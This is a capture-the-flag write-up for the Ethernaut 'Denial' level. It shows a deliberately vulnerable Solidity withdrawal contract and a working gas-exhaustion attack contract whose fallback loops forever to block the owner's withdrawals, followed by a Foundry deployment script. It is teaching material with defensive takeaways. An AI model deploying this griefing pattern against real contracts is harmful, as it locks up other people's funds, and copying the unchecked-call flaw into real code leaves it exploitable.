The Ethernaut CTF Solutions | 20 - Denial
A Loop of Denial: Burning Gas to Ensure a DoS and Prevent the Funds from being withdrawn
Table of contents
Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
The hack
The goal of the Denial challenge is to prevent the owner from withdrawing funds using the withdraw()
function. How to do that?
Let's take a look at the withdraw()
function:
function withdraw() public {
uint amountToSend = address(this).balance / 100; // 1% of the contract's balance
partner.call{value:amountToSend}(""); // Send to partner using call
payable(owner).transfer(amountToSend); // Send to owner using transfer
// The rest is irrelevant to the solution, but note that the CEI isn't respected
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
There are 2 external calls here:
partner.call
{value:amountToSend}("");
payable(owner).transfer(amountToSend);
There isn't much we can do with the transfer
to the owner. However, we know that the call
function forwards all the remaining gas to the callee. Unfortunately, since the return value isn't checked, simply reverting upon receiving ether wouldn't work. So we have to find another way to break the withdraw
function.
This can be achieved by using all the remaining gas within the fallback function. By doing so, the withdraw()
function will never be able to complete its execution. In this case, a useless infinite loop will do the work beautifully:
fallback() external payable {
while (true) {}
}
Solution
Let's implement the solution accordingly:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IDenial {
function setWithdrawPartner(address _partner) external;
}
contract Stop {
IDenial idenial;
constructor(address _denial) {
idenial = IDenial(_denial);
}
function becomePartner() public {
idenial.setWithdrawPartner(address(this));
}
fallback() external payable {
while (true) {}
}
}
As well as the script to deploy the Stop
contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script} from "forge-std/Script.sol";
import {Stop} from "../src/20_Denial.sol";
contract PoC is Script {
// Replace with your Denial instance
address private immutable denial =
0xA5aCd27F60246ebdA0dF9E55Dd78f394715747c4;
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
Stop stop = new Stop(denial);
stop.becomePartner();
vm.stopBroadcast();
}
}
Then run the script with the following command:
forge script script/20_Denial.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
๐ Level completed ๐
Takeaway
Always check the return value of the
call
function.A specific amount of gas can be specified when using the
call
function.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/